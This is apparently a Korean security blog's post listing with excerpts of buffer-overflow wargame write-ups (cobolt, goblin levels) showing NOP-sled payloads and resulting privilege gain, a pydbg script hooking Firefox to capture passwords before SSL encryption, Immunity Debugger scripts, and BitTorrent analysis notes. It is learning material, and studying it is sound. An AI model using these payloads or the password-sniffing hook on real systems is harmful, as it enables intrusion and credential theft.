분류 전체보기 (267) 썸네일형 리스트형 cobolt -> goblin 환경변수에 쉘코드를 등록해놓고 Ret 를 환경변수로 돌리는 방식으로 풀었다.이 때, 약간 주의해야 할 점은1. 환경변수 앞에 NOP를 많이 넣을 것.2. RET 에 정확한 환경변수 주소값을 넣지 말고, 약간 주소를 더한 값을 넣을 것. 환경변수 이름의 길이에 따라 주소값이 밀릴 수 있어, 약간 밀린 주소를 써주는 것이 NOP 슬라이드를 타게하는데 용이하다. [cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\x40\x86\xff\xbf"'; cat) | ./goblin ��������������������@��� iduid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502.. firfox_hook.py from pydbg import * from pydbg.defines import * import utils import sys dbg = pydbg() found_firefox = False pattern = "password" def ssl_sniff(dbg,args): buffer = "" offset = 0 while 1: byte = dbg.read_process_memory(args[1] + offset, 1) if byte != "\x00": buffer += byte offset += 1 continue else: break if pattern in buffer: print "Pre-Encrypted: %s" % buffer return DBG_CONTINUE # find firefox P.. hippie_easy.py import immlib import immutils def getRet(imm,allocaddr,max_opcodes = 300): addr = allocaddr for a in range(0,max_opcodes): op = imm.disasmForward(addr) if op.isRet(): if op.getImmConst() == 0xC: op = imm.disasmBackward(addr,3) return op.getAddress() addr = op.getAddress() return 0x0 def showresult(imm,a,rtlallocate): if a[0] == rtlallocate: imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) 질문 정리 (2015-01-26) 1. 메모리에 직접 헥스값을 넣는 방법2. args 형태로 넣는 헥스값과 소스파일내에서 초기화한 헥스값의 길이차이. 8시간의 대장정. from immlib import * def main(args): shellcode="\x7f\xac" length = len(shellcode) shellcode=shellcode.encode("HEX") imm = Debugger() imm.log("Shellcode length : %s" % len(shellcode)) # shellcode = shellcode.encode("HEX") imm.log("We Finding : %s" % shellcode) regs = imm.getRegs() imm.log("EIP : 0x%08x" % regs['EIP']) imm.log("EBP : 0x%08x" % regs['EBP']) imm.log("ESP : 0x%08x" % regs['ESP']) add.. 질문 기록 EIP 제어권을 획득한 후에는 쉘 코드가 실행되게 만들어야 한다. 일반적으로 레지스터나 레지스터 값의 상대적인 오프셋이 쉘 코드의 주소를 가리킨다. 토렌트 분석 참고 문헌PDF : http://space.postech.ac.kr/korms/2012_fall/sessionC/C9-4.pdfAhnlab : http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&seq=22812 P2P 방식 이용하는 대표적 프로토콜- client to client 구조의 1:多 구조의 파일 공유 방식- 하나의 클라이언트가 여러 개의 다른 클라이언트 들과 무수히 많은 세션을 생성 통신 시 역할 종류시더(Seeder)공유 파일의 "완전체" 를 가지고 있는 클라이언트. (파일의 모든 조각) 리처(Leecher)공유 파일의 일부 조각만 가지고 있는 클라이언트피어(Peer)Seeder 와 Leecher 를.. gremlin -> cobolt 버퍼에 쉘코드를 넣을 만큼의 충분한 공간이 없으므로, 쉘코드를 RET 뒤에 넣기로 했다. "\x90"*20 + RET(4) + "\x90"*200 + SHELLCODE(25) PAYLOAD./cobolt `python -c 'print "\x90"*20 + [NOP 슬라이드 주소] + "\x90"*200 + SHELLCODE'` hacking exposed 이전 1 ··· 19 20 21 22 23 24 25 ··· 34 다음